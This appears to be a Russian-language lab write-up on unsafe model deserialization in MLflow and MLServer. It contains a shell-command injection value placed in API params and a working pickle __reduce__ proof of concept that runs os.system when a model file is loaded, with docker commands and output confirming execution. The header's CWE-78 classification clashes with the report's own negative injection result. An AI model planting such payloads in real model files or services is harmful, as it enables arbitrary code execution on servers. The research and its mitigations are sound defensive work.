Среда исследования и скрипты валидации для оценки поведения десериализации в MLflow и MLServer.
Ниже представлен структурированный отчет об исследовании уязвимости в формате Markdown, предназначенный для макета репозитория GitHub (например, README.md или статьи в security-labs). В нем описывается контекст, архитектура, шаги воспроизведения и стратегии устранения на основе результатов вашей лабораторной работы.
Подробный отчет по исследованию безопасности, описывающий проверку, основные механизмы и архитектурные уязвимости, связанные с конвейерами загрузки недоверенных моделей в mlflow==2.11.1 и mlserver==1.3.5.
| Параметр | Подробности |
|---|
| Идентификатор уязвимости | CVE-2026-0596 / GHSA-rvhj-8chj-8v3c |
| Общее перечисление слабостей | CWE-78: Неправильная нейтрализация специальных элементов, используемых в команде ОС ('Внедрение команд ОС') |
| Базовая оценка CVSS v3.1 | 9.6 КРИТИЧЕСКИЙ (CNA: huntr.dev) / 7.8 ВЫСОКИЙ (NVD) |
| Вектор воздействия | Сетевой (соседний), Низкая сложность, Нулевые привилегии, Нулевое взаимодействие пользователя |
| Затронутая экосистема | mlflow/mlflow (Все устаревшие архитектуры, обслуживаемые через enable_mlserver=True) |
MLflow имеет интеграцию с MLServer от Seldon для обработки высокопроизводительного корпоративного обслуживания моделей. При запуске сервера модели через интерфейс командной строки или API сервера отслеживания разработчики используют флаг параметра конфигурации:
enable_mlserver = True
Эта лабораторная среда оценивает поведение фреймворков обслуживания моделей машинного обучения во время выполнения при разборе пользовательских входных параметров и метаданных артефактов. В то время как границы разбора параметров API MLServer четко изолируют сырые строковые литералы (предотвращая традиционное внедрение команд операционной системы через метасимволы оболочки), среда выполнения Python остается структурно уязвимой к небезопасной десериализации при загрузке устаревших сериализованных потоков объектов (.pkl / pickle).
pickle.Среда воспроизведения контейнеризирована с использованием Docker для изоляции слоя операционной системы и имитации рабочей конечной точки модели машинного обучения.
Dockerfile)FROM python:3.10-slim
WORKDIR /app
# Install native system binaries
RUN apt-get update && apt-get install -y \
curl \
build-essential \
&& rm -rf /var/lib/apt/lists/*
# Pin specific framework versions for target tracking
RUN pip install --no-cache-dir \
mlflow==2.11.1 \
mlserver==1.3.5 \
mlserver-mlflow==1.3.5
# Generate localized model configuration footprint
COPY generate_model.py /app/generate_model.py
RUN python /app/generate_model.py
EXPOSE 5000
generate_model.py)import mlflow
import mlflow.pyfunc
import os
class DummyModel(mlflow.pyfunc.PythonModel):
def predict(self, context, model_input):
return model_input
if __name__ == "__main__":
model_path = "/app/saved_model"
if not os.path.exists(model_path):
mlflow.pyfunc.save_model(path=model_path, python_model=DummyModel())
Первоначальное тестирование пыталось передать последовательности полезной нагрузки для завершения оболочки (; touch /tmp/poc_success_marker.txt #) через массив полезной нагрузки params конечной точки REST /invocations:
{
"dataframe_split": {
"columns": ["machine_input"],
"data": [["test_data"]]
},
"params": {
"custom_runtime_param": "default_runtime; touch /tmp/poc_success_marker.txt #"
}
}
Результат: Отрицательный. Фреймворк безопасно обработал полезную нагрузку как абсолютный, невычисляемый строковый литерал. Это подтверждает, что движок абстрагирует входные переменные непосредственно в пространства памяти Python, а не динамически синтезирует аргументы системной оболочки через оболочку команды.
Поскольку MLflow и MLServer загружают скомпилированные объекты Python, основной риск смещается с оценки строк на реконструкцию графа объектов. С помощью пользовательского сценария проверки триггер выполнения был внедрен непосредственно в поток моделируемой модели с использованием собственного магического метода оптимизации Python (__reduce__).
trigger_native.py)import os
import pickle
class ExploitModel:
def __reduce__(self):
# The __reduce__ method defines object reconstruction behaviors.
# Returning os.system forces immediate runtime command execution during loading.
return (os.system, ("touch /tmp/native_success_marker.txt",))
if __name__ == "__main__":
payload_path = "vulnerable_model.pkl"
# Serialize the code execution payload into a pseudo-model file
with open(payload_path, "wb") as f:
pickle.dump(ExploitModel(), f)
# Simulate an application or model server unpickling the artifact
with open(payload_path, "rb") as f:
pickle.load(f)
Скрипт был внедрен в среду песочницы контейнера для имитации последовательности загрузки бэкенда:
# Stage execution payload inside the sandbox
docker cp trigger_native.py mlflow_sandbox:/app/trigger_native.py
# Execute the deserialization routine
docker exec -it mlflow_sandbox python /app/trigger_native.py
Запрос изолированного временного каталога контейнера подтвердил, что произвольное выполнение кода произошло мгновенно во время цикла выделения объекта:
PS C:\Users\Sparsh Biswas\mlflow-security-lab> docker exec -it mlflow_sandbox ls -la /tmp/
total 8
drwxrwxrwt 1 root root 4096 May 18 10:31 .
drwxr-xr-x 1 root root 4096 May 18 10:31 ..
-rw-r--r-- 1 root root 0 May 18 10:31 native_success_marker.txt
Проблема возникает из-за неявного доверия к слою хранения артефактов модели. Стандартные файлы .pkl / pickle в Python не просто действуют как плоские записи конфигурации; они содержат последовательные инструкции байт-кода, предназначенные для восстановления вложенных свойств объекта.
Когда pickle.load() разбирает набор данных, он отдает приоритет потоку инструкций, заданному хуком __reduce__. Это перенаправляет целевое приложение на вызов нативных системных двоичных файлов (os.system) непосредственно в среде оболочки до того, как будут инициализированы проверка типа данных или вычисления машинного обучения.
Откажитесь от использования устаревших слоев сериализации (pickle, joblib, marshal) во всех конвейерах обучения и развертывания. Замените их структурными ограничениями, только для данных:
Если ваш конвейер строго требует устаревших конфигураций модели:
USER 10001).cap_drop: [ALL]) и изолируйте под от сетей, содержащих чувствительные конечные точки метаданных.